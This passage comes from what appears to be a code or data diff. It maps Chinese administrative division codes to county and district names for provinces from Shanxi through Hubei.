'五寨县', + 140929: '岢岚县', + 140930: '河曲县', + 140931: '保德县', + 140932: '偏关县', + 140981: '原平市', + 141002: '尧都区', + 141021: '曲沃县', + 141022: '翼城县', + 141023: '襄汾县', + 141024: '洪洞县', + 141025: '古县', + 141026: '安泽县', + 141027: '浮山县', + 141028: '吉县', + 141029: '乡宁县', + 141030: '大宁县', + 141031: '隰县', + 141032: '永和县', + 141033: '蒲县', + 141034: '汾西县', + 141081: '侯马市', + 141082: '霍州市', + 141102: '离石区', + 141121: '文水县', + 141122: '交城县', + 141123: '兴县', + 141124: '临县', + 141125: '柳林县', + 141126: '石楼县', + 141127: '岚县', + 141128: '方山县', + 141129: '中阳县', + 141130: '交口县', + 141181: '孝义市', + 141182: '汾阳市', + 150102: '新城区', + 150103: '回民区', + 150104: '玉泉区', + 150105: '赛罕区', + 150121: '土默特左旗', + 150122: '托克托县', + 150123: '和林格尔县', + 150124: '清水河县', + 150125: '武川县', + 150202: '东河区', + 150203: '昆都仑区', + 150204: '青山区', + 150205: '石拐区', + 150206: '白云鄂博矿区', + 150207: '九原区', + 150221: '土默特右旗', + 150222: '固阳县', + 150223: '达尔罕茂明安联合旗', + 150302: '海勃湾区', + 150303: '海南区', + 150304: '乌达区', + 150402: '红山区', + 150403: '元宝山区', + 150404: '松山区', + 150421: '阿鲁科尔沁旗', + 150422: '巴林左旗', + 150423: '巴林右旗', + 150424: '林西县', + 150425: '克什克腾旗', + 150426: '翁牛特旗', + 150428: '喀喇沁旗', + 150429: '宁城县', + 150430: '敖汉旗', + 150502: '科尔沁区', + 150521: '科尔沁左翼中旗', + 150522: '科尔沁左翼后旗', + 150523: '开鲁县', + 150524: '库伦旗', + 150525: '奈曼旗', + 150526: '扎鲁特旗', + 150581: '霍林郭勒市', + 150602: '东胜区', + 150603: '康巴什区', + 150621: '达拉特旗', + 150622: '准格尔旗', + 150623: '鄂托克前旗', + 150624: '鄂托克旗', + 150625: '杭锦旗', + 150626: '乌审旗', + 150627: '伊金霍洛旗', + 150702: '海拉尔区', + 150703: '扎赉诺尔区', + 150721: '阿荣旗', + 150722: '莫力达瓦达斡尔族自治旗', + 150723: '鄂伦春自治旗', + 150724: '鄂温克族自治旗', + 150725: '陈巴尔虎旗', + 150726: '新巴尔虎左旗', + 150727: '新巴尔虎右旗', + 150781: '满洲里市', + 150782: '牙克石市', + 150783: '扎兰屯市', + 150784: '额尔古纳市', + 150785: '根河市', + 150802: '临河区', + 150821: '五原县', + 150822: '磴口县', + 150823: '乌拉特前旗', + 150824: '乌拉特中旗', + 150825: '乌拉特后旗', + 150826: '杭锦后旗', + 150902: '集宁区', + 150921: '卓资县', + 150922: '化德县', + 150923: '商都县', + 150924: '兴和县', + 150925: '凉城县', + 150926: '察哈尔右翼前旗', + 150927: '察哈尔右翼中旗', + 150928: '察哈尔右翼后旗', + 150929: '四子王旗', + 150981: '丰镇市', + 152201: '乌兰浩特市', + 152202: '阿尔山市', + 152221: '科尔沁右翼前旗', + 152222: '科尔沁右翼中旗', + 152223: '扎赉特旗', + 152224: '突泉县', + 152501: '二连浩特市', + 152502: '锡林浩特市', + 152522: '阿巴嘎旗', + 152523: '苏尼特左旗', + 152524: '苏尼特右旗', + 152525: '东乌珠穆沁旗', + 152526: '西乌珠穆沁旗', + 152527: '太仆寺旗', + 152528: '镶黄旗', + 152529: '正镶白旗', + 152530: '正蓝旗', + 152531: '多伦县', + 152921: '阿拉善左旗', + 152922: '阿拉善右旗', + 152923: '额济纳旗', + 210102: '和平区', + 210103: '沈河区', + 210104: '大东区', + 210105: '皇姑区', + 210106: '铁西区', + 210111: '苏家屯区', + 210112: '浑南区', + 210113: '沈北新区', + 210114: '于洪区', + 210115: '辽中区', + 210123: '康平县', + 210124: '法库县', + 210181: '新民市', + 210190: '经济技术开发区', + 210202: '中山区', + 210203: '西岗区', + 210204: '沙河口区', + 210211: '甘井子区', + 210212: '旅顺口区', + 210213: '金州区', + 210214: '普兰店区', + 210224: '长海县', + 210281: '瓦房店市', + 210283: '庄河市', + 210302: '铁东区', + 210303: '铁西区', + 210304: '立山区', + 210311: '千山区', + 210321: '台安县', + 210323: '岫岩满族自治县', + 210381: '海城市', + 210390: '高新区', + 210402: '新抚区', + 210403: '东洲区', + 210404: '望花区', + 210411: '顺城区', + 210421: '抚顺县', + 210422: '新宾满族自治县', + 210423: '清原满族自治县', + 210502: '平山区', + 210503: '溪湖区', + 210504: '明山区', + 210505: '南芬区', + 210521: '本溪满族自治县', + 210522: '桓仁满族自治县', + 210602: '元宝区', + 210603: '振兴区', + 210604: '振安区', + 210624: '宽甸满族自治县', + 210681: '东港市', + 210682: '凤城市', + 210702: '古塔区', + 210703: '凌河区', + 210711: '太和区', + 210726: '黑山县', + 210727: '义县', + 210781: '凌海市', + 210782: '北镇市', + 210793: '经济技术开发区', + 210802: '站前区', + 210803: '西市区', + 210804: '鲅鱼圈区', + 210811: '老边区', + 210881: '盖州市', + 210882: '大石桥市', + 210902: '海州区', + 210903: '新邱区', + 210904: '太平区', + 210905: '清河门区', + 210911: '细河区', + 210921: '阜新蒙古族自治县', + 210922: '彰武县', + 211002: '白塔区', + 211003: '文圣区', + 211004: '宏伟区', + 211005: '弓长岭区', + 211011: '太子河区', + 211021: '辽阳县', + 211081: '灯塔市', + 211102: '双台子区', + 211103: '兴隆台区', + 211104: '大洼区', + 211122: '盘山县', + 211202: '银州区', + 211204: '清河区', + 211221: '铁岭县', + 211223: '西丰县', + 211224: '昌图县', + 211281: '调兵山市', + 211282: '开原市', + 211302: '双塔区', + 211303: '龙城区', + 211321: '朝阳县', + 211322: '建平县', + 211324: '喀喇沁左翼蒙古族自治县', + 211381: '北票市', + 211382: '凌源市', + 211402: '连山区', + 211403: '龙港区', + 211404: '南票区', + 211421: '绥中县', + 211422: '建昌县', + 211481: '兴城市', + 215090: '工业园区', + 220102: '南关区', + 220103: '宽城区', + 220104: '朝阳区', + 220105: '二道区', + 220106: '绿园区', + 220112: '双阳区', + 220113: '九台区', + 220122: '农安县', + 220182: '榆树市', + 220183: '德惠市', + 220192: '经济技术开发区', + 220202: '昌邑区', + 220203: '龙潭区', + 220204: '船营区', + 220211: '丰满区', + 220221: '永吉县', + 220281: '蛟河市', + 220282: '桦甸市', + 220283: '舒兰市', + 220284: '磐石市', + 220302: '铁西区', + 220303: '铁东区', + 220322: '梨树县', + 220323: '伊通满族自治县', + 220381: '公主岭市', + 220382: '双辽市', + 220402: '龙山区', + 220403: '西安区', + 220421: '东丰县', + 220422: '东辽县', + 220502: '东昌区', + 220503: '二道江区', + 220521: '通化县', + 220523: '辉南县', + 220524: '柳河县', + 220581: '梅河口市', + 220582: '集安市', + 220602: '浑江区', + 220605: '江源区', + 220621: '抚松县', + 220622: '靖宇县', + 220623: '长白朝鲜族自治县', + 220681: '临江市', + 220702: '宁江区', + 220721: '前郭尔罗斯蒙古族自治县', + 220722: '长岭县', + 220723: '乾安县', + 220781: '扶余市', + 220802: '洮北区', + 220821: '镇赉县', + 220822: '通榆县', + 220881: '洮南市', + 220882: '大安市', + 221090: '工业园区', + 222401: '延吉市', + 222402: '图们市', + 222403: '敦化市', + 222404: '珲春市', + 222405: '龙井市', + 222406: '和龙市', + 222424: '汪清县', + 222426: '安图县', + 230102: '道里区', + 230103: '南岗区', + 230104: '道外区', + 230108: '平房区', + 230109: '松北区', + 230110: '香坊区', + 230111: '呼兰区', + 230112: '阿城区', + 230113: '双城区', + 230123: '依兰县', + 230124: '方正县', + 230125: '宾县', + 230126: '巴彦县', + 230127: '木兰县', + 230128: '通河县', + 230129: '延寿县', + 230183: '尚志市', + 230184: '五常市', + 230202: '龙沙区', + 230203: '建华区', + 230204: '铁锋区', + 230205: '昂昂溪区', + 230206: '富拉尔基区', + 230207: '碾子山区', + 230208: '梅里斯达斡尔族区', + 230221: '龙江县', + 230223: '依安县', + 230224: '泰来县', + 230225: '甘南县', + 230227: '富裕县', + 230229: '克山县', + 230230: '克东县', + 230231: '拜泉县', + 230281: '讷河市', + 230302: '鸡冠区', + 230303: '恒山区', + 230304: '滴道区', + 230305: '梨树区', + 230306: '城子河区', + 230307: '麻山区', + 230321: '鸡东县', + 230381: '虎林市', + 230382: '密山市', + 230402: '向阳区', + 230403: '工农区', + 230404: '南山区', + 230405: '兴安区', + 230406: '东山区', + 230407: '兴山区', + 230421: '萝北县', + 230422: '绥滨县', + 230502: '尖山区', + 230503: '岭东区', + 230505: '四方台区', + 230506: '宝山区', + 230521: '集贤县', + 230522: '友谊县', + 230523: '宝清县', + 230524: '饶河县', + 230602: '萨尔图区', + 230603: '龙凤区', + 230604: '让胡路区', + 230605: '红岗区', + 230606: '大同区', + 230621: '肇州县', + 230622: '肇源县', + 230623: '林甸县', + 230624: '杜尔伯特蒙古族自治县', + 230702: '伊春区', + 230703: '南岔区', + 230704: '友好区', + 230705: '西林区', + 230706: '翠峦区', + 230707: '新青区', + 230708: '美溪区', + 230709: '金山屯区', + 230710: '五营区', + 230711: '乌马河区', + 230712: '汤旺河区', + 230713: '带岭区', + 230714: '乌伊岭区', + 230715: '红星区', + 230716: '上甘岭区', + 230722: '嘉荫县', + 230781: '铁力市', + 230803: '向阳区', + 230804: '前进区', + 230805: '东风区', + 230811: '郊区', + 230822: '桦南县', + 230826: '桦川县', + 230828: '汤原县', + 230881: '同江市', + 230882: '富锦市', + 230883: '抚远市', + 230902: '新兴区', + 230903: '桃山区', + 230904: '茄子河区', + 230921: '勃利县', + 231002: '东安区', + 231003: '阳明区', + 231004: '爱民区', + 231005: '西安区', + 231025: '林口县', + 231081: '绥芬河市', + 231083: '海林市', + 231084: '宁安市', + 231085: '穆棱市', + 231086: '东宁市', + 231102: '爱辉区', + 231121: '嫩江县', + 231123: '逊克县', + 231124: '孙吴县', + 231181: '北安市', + 231182: '五大连池市', + 231202: '北林区', + 231221: '望奎县', + 231222: '兰西县', + 231223: '青冈县', + 231224: '庆安县', + 231225: '明水县', + 231226: '绥棱县', + 231281: '安达市', + 231282: '肇东市', + 231283: '海伦市', + 232721: '呼玛县', + 232722: '塔河县', + 232723: '漠河县', + 232790: '松岭区', + 232791: '呼中区', + 232792: '加格达奇区', + 232793: '新林区', + 310101: '黄浦区', + 310104: '徐汇区', + 310105: '长宁区', + 310106: '静安区', + 310107: '普陀区', + 310109: '虹口区', + 310110: '杨浦区', + 310112: '闵行区', + 310113: '宝山区', + 310114: '嘉定区', + 310115: '浦东新区', + 310116: '金山区', + 310117: '松江区', + 310118: '青浦区', + 310120: '奉贤区', + 310151: '崇明区', + 320102: '玄武区', + 320104: '秦淮区', + 320105: '建邺区', + 320106: '鼓楼区', + 320111: '浦口区', + 320113: '栖霞区', + 320114: '雨花台区', + 320115: '江宁区', + 320116: '六合区', + 320117: '溧水区', + 320118: '高淳区', + 320205: '锡山区', + 320206: '惠山区', + 320211: '滨湖区', + 320213: '梁溪区', + 320214: '新吴区', + 320281: '江阴市', + 320282: '宜兴市', + 320302: '鼓楼区', + 320303: '云龙区', + 320305: '贾汪区', + 320311: '泉山区', + 320312: '铜山区', + 320321: '丰县', + 320322: '沛县', + 320324: '睢宁县', + 320381: '新沂市', + 320382: '邳州市', + 320391: '工业园区', + 320402: '天宁区', + 320404: '钟楼区', + 320411: '新北区', + 320412: '武进区', + 320413: '金坛区', + 320481: '溧阳市', + 320505: '虎丘区', + 320506: '吴中区', + 320507: '相城区', + 320508: '姑苏区', + 320509: '吴江区', + 320581: '常熟市', + 320582: '张家港市', + 320583: '昆山市', + 320585: '太仓市', + 320590: '工业园区', + 320591: '高新区', + 320602: '崇川区', + 320611: '港闸区', + 320612: '通州区', + 320621: '海安县', + 320623: '如东县', + 320681: '启东市', + 320682: '如皋市', + 320684: '海门市', + 320691: '高新区', + 320703: '连云区', + 320706: '海州区', + 320707: '赣榆区', + 320722: '东海县', + 320723: '灌云县', + 320724: '灌南县', + 320803: '淮安区', + 320804: '淮阴区', + 320812: '清江浦区', + 320813: '洪泽区', + 320826: '涟水县', + 320830: '盱眙县', + 320831: '金湖县', + 320890: '经济开发区', + 320902: '亭湖区', + 320903: '盐都区', + 320904: '大丰区', + 320921: '响水县', + 320922: '滨海县', + 320923: '阜宁县', + 320924: '射阳县', + 320925: '建湖县', + 320981: '东台市', + 321002: '广陵区', + 321003: '邗江区', + 321012: '江都区', + 321023: '宝应县', + 321081: '仪征市', + 321084: '高邮市', + 321090: '经济开发区', + 321102: '京口区', + 321111: '润州区', + 321112: '丹徒区', + 321181: '丹阳市', + 321182: '扬中市', + 321183: '句容市', + 321202: '海陵区', + 321203: '高港区', + 321204: '姜堰区', + 321281: '兴化市', + 321282: '靖江市', + 321283: '泰兴市', + 321302: '宿城区', + 321311: '宿豫区', + 321322: '沭阳县', + 321323: '泗阳县', + 321324: '泗洪县', + 330102: '上城区', + 330103: '下城区', + 330104: '江干区', + 330105: '拱墅区', + 330106: '西湖区', + 330108: '滨江区', + 330109: '萧山区', + 330110: '余杭区', + 330111: '富阳区', + 330112: '临安区', + 330122: '桐庐县', + 330127: '淳安县', + 330182: '建德市', + 330203: '海曙区', + 330205: '江北区', + 330206: '北仑区', + 330211: '镇海区', + 330212: '鄞州区', + 330213: '奉化区', + 330225: '象山县', + 330226: '宁海县', + 330281: '余姚市', + 330282: '慈溪市', + 330302: '鹿城区', + 330303: '龙湾区', + 330304: '瓯海区', + 330305: '洞头区', + 330324: '永嘉县', + 330326: '平阳县', + 330327: '苍南县', + 330328: '文成县', + 330329: '泰顺县', + 330381: '瑞安市', + 330382: '乐清市', + 330402: '南湖区', + 330411: '秀洲区', + 330421: '嘉善县', + 330424: '海盐县', + 330481: '海宁市', + 330482: '平湖市', + 330483: '桐乡市', + 330502: '吴兴区', + 330503: '南浔区', + 330521: '德清县', + 330522: '长兴县', + 330523: '安吉县', + 330602: '越城区', + 330603: '柯桥区', + 330604: '上虞区', + 330624: '新昌县', + 330681: '诸暨市', + 330683: '嵊州市', + 330702: '婺城区', + 330703: '金东区', + 330723: '武义县', + 330726: '浦江县', + 330727: '磐安县', + 330781: '兰溪市', + 330782: '义乌市', + 330783: '东阳市', + 330784: '永康市', + 330802: '柯城区', + 330803: '衢江区', + 330822: '常山县', + 330824: '开化县', + 330825: '龙游县', + 330881: '江山市', + 330902: '定海区', + 330903: '普陀区', + 330921: '岱山县', + 330922: '嵊泗县', + 331002: '椒江区', + 331003: '黄岩区', + 331004: '路桥区', + 331022: '三门县', + 331023: '天台县', + 331024: '仙居县', + 331081: '温岭市', + 331082: '临海市', + 331083: '玉环市', + 331102: '莲都区', + 331121: '青田县', + 331122: '缙云县', + 331123: '遂昌县', + 331124: '松阳县', + 331125: '云和县', + 331126: '庆元县', + 331127: '景宁畲族自治县', + 331181: '龙泉市', + 340102: '瑶海区', + 340103: '庐阳区', + 340104: '蜀山区', + 340111: '包河区', + 340121: '长丰县', + 340122: '肥东县', + 340123: '肥西县', + 340124: '庐江县', + 340181: '巢湖市', + 340190: '高新技术开发区', + 340191: '经济技术开发区', + 340202: '镜湖区', + 340203: '弋江区', + 340207: '鸠江区', + 340208: '三山区', + 340221: '芜湖县', + 340222: '繁昌县', + 340223: '南陵县', + 340225: '无为县', + 340302: '龙子湖区', + 340303: '蚌山区', + 340304: '禹会区', + 340311: '淮上区', + 340321: '怀远县', + 340322: '五河县', + 340323: '固镇县', + 340402: '大通区', + 340403: '田家庵区', + 340404: '谢家集区', + 340405: '八公山区', + 340406: '潘集区', + 340421: '凤台县', + 340422: '寿县', + 340503: '花山区', + 340504: '雨山区', + 340506: '博望区', + 340521: '当涂县', + 340522: '含山县', + 340523: '和县', + 340602: '杜集区', + 340603: '相山区', + 340604: '烈山区', + 340621: '濉溪县', + 340705: '铜官区', + 340706: '义安区', + 340711: '郊区', + 340722: '枞阳县', + 340802: '迎江区', + 340803: '大观区', + 340811: '宜秀区', + 340822: '怀宁县', + 340824: '潜山县', + 340825: '太湖县', + 340826: '宿松县', + 340827: '望江县', + 340828: '岳西县', + 340881: '桐城市', + 341002: '屯溪区', + 341003: '黄山区', + 341004: '徽州区', + 341021: '歙县', + 341022: '休宁县', + 341023: '黟县', + 341024: '祁门县', + 341102: '琅琊区', + 341103: '南谯区', + 341122: '来安县', + 341124: '全椒县', + 341125: '定远县', + 341126: '凤阳县', + 341181: '天长市', + 341182: '明光市', + 341202: '颍州区', + 341203: '颍东区', + 341204: '颍泉区', + 341221: '临泉县', + 341222: '太和县', + 341225: '阜南县', + 341226: '颍上县', + 341282: '界首市', + 341302: '埇桥区', + 341321: '砀山县', + 341322: '萧县', + 341323: '灵璧县', + 341324: '泗县', + 341390: '经济开发区', + 341502: '金安区', + 341503: '裕安区', + 341504: '叶集区', + 341522: '霍邱县', + 341523: '舒城县', + 341524: '金寨县', + 341525: '霍山县', + 341602: '谯城区', + 341621: '涡阳县', + 341622: '蒙城县', + 341623: '利辛县', + 341702: '贵池区', + 341721: '东至县', + 341722: '石台县', + 341723: '青阳县', + 341802: '宣州区', + 341821: '郎溪县', + 341822: '广德县', + 341823: '泾县', + 341824: '绩溪县', + 341825: '旌德县', + 341881: '宁国市', + 350102: '鼓楼区', + 350103: '台江区', + 350104: '仓山区', + 350105: '马尾区', + 350111: '晋安区', + 350112: '长乐区', + 350121: '闽侯县', + 350122: '连江县', + 350123: '罗源县', + 350124: '闽清县', + 350125: '永泰县', + 350128: '平潭县', + 350181: '福清市', + 350203: '思明区', + 350205: '海沧区', + 350206: '湖里区', + 350211: '集美区', + 350212: '同安区', + 350213: '翔安区', + 350302: '城厢区', + 350303: '涵江区', + 350304: '荔城区', + 350305: '秀屿区', + 350322: '仙游县', + 350402: '梅列区', + 350403: '三元区', + 350421: '明溪县', + 350423: '清流县', + 350424: '宁化县', + 350425: '大田县', + 350426: '尤溪县', + 350427: '沙县', + 350428: '将乐县', + 350429: '泰宁县', + 350430: '建宁县', + 350481: '永安市', + 350502: '鲤城区', + 350503: '丰泽区', + 350504: '洛江区', + 350505: '泉港区', + 350521: '惠安县', + 350524: '安溪县', + 350525: '永春县', + 350526: '德化县', + 350527: '金门县', + 350581: '石狮市', + 350582: '晋江市', + 350583: '南安市', + 350602: '芗城区', + 350603: '龙文区', + 350622: '云霄县', + 350623: '漳浦县', + 350624: '诏安县', + 350625: '长泰县', + 350626: '东山县', + 350627: '南靖县', + 350628: '平和县', + 350629: '华安县', + 350681: '龙海市', + 350702: '延平区', + 350703: '建阳区', + 350721: '顺昌县', + 350722: '浦城县', + 350723: '光泽县', + 350724: '松溪县', + 350725: '政和县', + 350781: '邵武市', + 350782: '武夷山市', + 350783: '建瓯市', + 350802: '新罗区', + 350803: '永定区', + 350821: '长汀县', + 350823: '上杭县', + 350824: '武平县', + 350825: '连城县', + 350881: '漳平市', + 350902: '蕉城区', + 350921: '霞浦县', + 350922: '古田县', + 350923: '屏南县', + 350924: '寿宁县', + 350925: '周宁县', + 350926: '柘荣县', + 350981: '福安市', + 350982: '福鼎市', + 360102: '东湖区', + 360103: '西湖区', + 360104: '青云谱区', + 360105: '湾里区', + 360111: '青山湖区', + 360112: '新建区', + 360121: '南昌县', + 360123: '安义县', + 360124: '进贤县', + 360190: '经济技术开发区', + 360192: '高新区', + 360202: '昌江区', + 360203: '珠山区', + 360222: '浮梁县', + 360281: '乐平市', + 360302: '安源区', + 360313: '湘东区', + 360321: '莲花县', + 360322: '上栗县', + 360323: '芦溪县', + 360402: '濂溪区', + 360403: '浔阳区', + 360404: '柴桑区', + 360423: '武宁县', + 360424: '修水县', + 360425: '永修县', + 360426: '德安县', + 360428: '都昌县', + 360429: '湖口县', + 360430: '彭泽县', + 360481: '瑞昌市', + 360482: '共青城市', + 360483: '庐山市', + 360490: '经济技术开发区', + 360502: '渝水区', + 360521: '分宜县', + 360602: '月湖区', + 360622: '余江县', + 360681: '贵溪市', + 360702: '章贡区', + 360703: '南康区', + 360704: '赣县区', + 360722: '信丰县', + 360723: '大余县', + 360724: '上犹县', + 360725: '崇义县', + 360726: '安远县', + 360727: '龙南县', + 360728: '定南县', + 360729: '全南县', + 360730: '宁都县', + 360731: '于都县', + 360732: '兴国县', + 360733: '会昌县', + 360734: '寻乌县', + 360735: '石城县', + 360781: '瑞金市', + 360802: '吉州区', + 360803: '青原区', + 360821: '吉安县', + 360822: '吉水县', + 360823: '峡江县', + 360824: '新干县', + 360825: '永丰县', + 360826: '泰和县', + 360827: '遂川县', + 360828: '万安县', + 360829: '安福县', + 360830: '永新县', + 360881: '井冈山市', + 360902: '袁州区', + 360921: '奉新县', + 360922: '万载县', + 360923: '上高县', + 360924: '宜丰县', + 360925: '靖安县', + 360926: '铜鼓县', + 360981: '丰城市', + 360982: '樟树市', + 360983: '高安市', + 361002: '临川区', + 361003: '东乡区', + 361021: '南城县', + 361022: '黎川县', + 361023: '南丰县', + 361024: '崇仁县', + 361025: '乐安县', + 361026: '宜黄县', + 361027: '金溪县', + 361028: '资溪县', + 361030: '广昌县', + 361102: '信州区', + 361103: '广丰区', + 361121: '上饶县', + 361123: '玉山县', + 361124: '铅山县', + 361125: '横峰县', + 361126: '弋阳县', + 361127: '余干县', + 361128: '鄱阳县', + 361129: '万年县', + 361130: '婺源县', + 361181: '德兴市', + 370102: '历下区', + 370103: '市中区', + 370104: '槐荫区', + 370105: '天桥区', + 370112: '历城区', + 370113: '长清区', + 370114: '章丘区', + 370124: '平阴县', + 370125: '济阳县', + 370126: '商河县', + 370190: '高新区', + 370202: '市南区', + 370203: '市北区', + 370211: '黄岛区', + 370212: '崂山区', + 370213: '李沧区', + 370214: '城阳区', + 370215: '即墨区', + 370281: '胶州市', + 370283: '平度市', + 370285: '莱西市', + 370290: '开发区', + 370302: '淄川区', + 370303: '张店区', + 370304: '博山区', + 370305: '临淄区', + 370306: '周村区', + 370321: '桓台县', + 370322: '高青县', + 370323: '沂源县', + 370402: '市中区', + 370403: '薛城区', + 370404: '峄城区', + 370405: '台儿庄区', + 370406: '山亭区', + 370481: '滕州市', + 370502: '东营区', + 370503: '河口区', + 370505: '垦利区', + 370522: '利津县', + 370523: '广饶县', + 370602: '芝罘区', + 370611: '福山区', + 370612: '牟平区', + 370613: '莱山区', + 370634: '长岛县', + 370681: '龙口市', + 370682: '莱阳市', + 370683: '莱州市', + 370684: '蓬莱市', + 370685: '招远市', + 370686: '栖霞市', + 370687: '海阳市', + 370690: '开发区', + 370702: '潍城区', + 370703: '寒亭区', + 370704: '坊子区', + 370705: '奎文区', + 370724: '临朐县', + 370725: '昌乐县', + 370781: '青州市', + 370782: '诸城市', + 370783: '寿光市', + 370784: '安丘市', + 370785: '高密市', + 370786: '昌邑市', + 370790: '开发区', + 370791: '高新区', + 370811: '任城区', + 370812: '兖州区', + 370826: '微山县', + 370827: '鱼台县', + 370828: '金乡县', + 370829: '嘉祥县', + 370830: '汶上县', + 370831: '泗水县', + 370832: '梁山县', + 370881: '曲阜市', + 370883: '邹城市', + 370890: '高新区', + 370902: '泰山区', + 370911: '岱岳区', + 370921: '宁阳县', + 370923: '东平县', + 370982: '新泰市', + 370983: '肥城市', + 371002: '环翠区', + 371003: '文登区', + 371082: '荣成市', + 371083: '乳山市', + 371091: '经济技术开发区', + 371102: '东港区', + 371103: '岚山区', + 371121: '五莲县', + 371122: '莒县', + 371202: '莱城区', + 371203: '钢城区', + 371302: '兰山区', + 371311: '罗庄区', + 371312: '河东区', + 371321: '沂南县', + 371322: '郯城县', + 371323: '沂水县', + 371324: '兰陵县', + 371325: '费县', + 371326: '平邑县', + 371327: '莒南县', + 371328: '蒙阴县', + 371329: '临沭县', + 371402: '德城区', + 371403: '陵城区', + 371422: '宁津县', + 371423: '庆云县', + 371424: '临邑县', + 371425: '齐河县', + 371426: '平原县', + 371427: '夏津县', + 371428: '武城县', + 371481: '乐陵市', + 371482: '禹城市', + 371502: '东昌府区', + 371521: '阳谷县', + 371522: '莘县', + 371523: '茌平县', + 371524: '东阿县', + 371525: '冠县', + 371526: '高唐县', + 371581: '临清市', + 371602: '滨城区', + 371603: '沾化区', + 371621: '惠民县', + 371622: '阳信县', + 371623: '无棣县', + 371625: '博兴县', + 371626: '邹平县', + 371702: '牡丹区', + 371703: '定陶区', + 371721: '曹县', + 371722: '单县', + 371723: '成武县', + 371724: '巨野县', + 371725: '郓城县', + 371726: '鄄城县', + 371728: '东明县', + 410102: '中原区', + 410103: '二七区', + 410104: '管城回族区', + 410105: '金水区', + 410106: '上街区', + 410108: '惠济区', + 410122: '中牟县', + 410181: '巩义市', + 410182: '荥阳市', + 410183: '新密市', + 410184: '新郑市', + 410185: '登封市', + 410190: '高新技术开发区', + 410191: '经济技术开发区', + 410202: '龙亭区', + 410203: '顺河回族区', + 410204: '鼓楼区', + 410205: '禹王台区', + 410212: '祥符区', + 410221: '杞县', + 410222: '通许县', + 410223: '尉氏县', + 410225: '兰考县', + 410302: '老城区', + 410303: '西工区', + 410304: '瀍河回族区', + 410305: '涧西区', + 410306: '吉利区', + 410311: '洛龙区', + 410322: '孟津县', + 410323: '新安县', + 410324: '栾川县', + 410325: '嵩县', + 410326: '汝阳县', + 410327: '宜阳县', + 410328: '洛宁县', + 410329: '伊川县', + 410381: '偃师市', + 410402: '新华区', + 410403: '卫东区', + 410404: '石龙区', + 410411: '湛河区', + 410421: '宝丰县', + 410422: '叶县', + 410423: '鲁山县', + 410425: '郏县', + 410481: '舞钢市', + 410482: '汝州市', + 410502: '文峰区', + 410503: '北关区', + 410505: '殷都区', + 410506: '龙安区', + 410522: '安阳县', + 410523: '汤阴县', + 410526: '滑县', + 410527: '内黄县', + 410581: '林州市', + 410590: '开发区', + 410602: '鹤山区', + 410603: '山城区', + 410611: '淇滨区', + 410621: '浚县', + 410622: '淇县', + 410702: '红旗区', + 410703: '卫滨区', + 410704: '凤泉区', + 410711: '牧野区', + 410721: '新乡县', + 410724: '获嘉县', + 410725: '原阳县', + 410726: '延津县', + 410727: '封丘县', + 410728: '长垣县', + 410781: '卫辉市', + 410782: '辉县市', + 410802: '解放区', + 410803: '中站区', + 410804: '马村区', + 410811: '山阳区', + 410821: '修武县', + 410822: '博爱县', + 410823: '武陟县', + 410825: '温县', + 410882: '沁阳市', + 410883: '孟州市', + 410902: '华龙区', + 410922: '清丰县', + 410923: '南乐县', + 410926: '范县', + 410927: '台前县', + 410928: '濮阳县', + 411002: '魏都区', + 411003: '建安区', + 411024: '鄢陵县', + 411025: '襄城县', + 411081: '禹州市', + 411082: '长葛市', + 411102: '源汇区', + 411103: '郾城区', + 411104: '召陵区', + 411121: '舞阳县', + 411122: '临颍县', + 411202: '湖滨区', + 411203: '陕州区', + 411221: '渑池县', + 411224: '卢氏县', + 411281: '义马市', + 411282: '灵宝市', + 411302: '宛城区', + 411303: '卧龙区', + 411321: '南召县', + 411322: '方城县', + 411323: '西峡县', + 411324: '镇平县', + 411325: '内乡县', + 411326: '淅川县', + 411327: '社旗县', + 411328: '唐河县', + 411329: '新野县', + 411330: '桐柏县', + 411381: '邓州市', + 411402: '梁园区', + 411403: '睢阳区', + 411421: '民权县', + 411422: '睢县', + 411423: '宁陵县', + 411424: '柘城县', + 411425: '虞城县', + 411426: '夏邑县', + 411481: '永城市', + 411502: '浉河区', + 411503: '平桥区', + 411521: '罗山县', + 411522: '光山县', + 411523: '新县', + 411524: '商城县', + 411525: '固始县', + 411526: '潢川县', + 411527: '淮滨县', + 411528: '息县', + 411602: '川汇区', + 411621: '扶沟县', + 411622: '西华县', + 411623: '商水县', + 411624: '沈丘县', + 411625: '郸城县', + 411626: '淮阳县', + 411627: '太康县', + 411628: '鹿邑县', + 411681: '项城市', + 411690: '经济开发区', + 411702: '驿城区', + 411721: '西平县', + 411722: '上蔡县', + 411723: '平舆县', + 411724: '正阳县', + 411725: '确山县', + 411726: '泌阳县', + 411727: '汝南县', + 411728: '遂平县', + 411729: '新蔡县', + 419001: '济源市', + 420102: '江岸区', + 420103: '江汉区', + 420104: '硚口区', + 420105: '汉阳区', + 420106: '武昌区', + 420107: '青山区', + 420111: '洪山区', + 420112: '东西湖区', + 420113: '汉南区', + 420114: '蔡甸区', + 420115: '江夏区', + 420116: '黄陂区', + 420117: '新洲区', + 420202: '黄石港区', + 420203: '西塞山区', + 420204: '下陆区', + 420205: '铁山区', + 420222: '阳新县', + 420281: '大冶市', + 420302: '茅箭区', + 420303: '张湾区', + 420304: '郧阳区', + 420322: '郧西县', + 420323: '竹山县', + 420324: '竹溪县', + 420325: '房县', + 420381: '丹江口市', + 420502: '西陵区', + 420503: '伍家岗区', + 420504: '点军区', + 420505: '猇亭区', + 420506: '夷陵区', + 420525: '远安县', + 420526: '兴山县', + 420527: '秭归县', + 420528: '长阳土家族自治县', + 420529: '五峰土家族自治县', + 420581: '宜都市', + 420582: '当阳市', + 420583: '枝江市', + 420590: '经济开发区', + 420602: '襄城区', + 420606: '樊城区', + 420607: '襄州区', + 420624: '南漳县', + 420625: '谷城县', + 420626: '保康县', + 420682: '老河口市', + 420683: '枣阳市', + 420684: '宜城市', + 420702: '梁子湖区', + 420703: '华容区', + 420704: '鄂城区', + 420802: '东宝区', + 420804: '掇刀区', + 420821: '京山县', + 420822: '沙洋县', + 420881: '钟祥市', + 420902: '孝南区', + 420921: '孝昌县', + 420922: '大悟县', + 420923: '云梦县', + 420981: '应城市', + 420982: '安陆市', + 420984: '汉川市', + 421002: '沙市区', + 421003: '荆州区', + 421022: '公安县', + 421023: '监利县', + 421024: '江陵县', + 421081: '石首市', + 421083: '洪湖市', + 421087: '松滋市', + 421102: '黄州区', + 421121: '团风县', + 421122: '红安县', + 421123: '罗田县', + 421124: '英山县', + 421125: '浠水县', + 421126: '蕲春县', + 421127: '黄梅县', + 421181: '麻城市', + 421182: '武穴市', + 421202: '咸安区', + 421221: 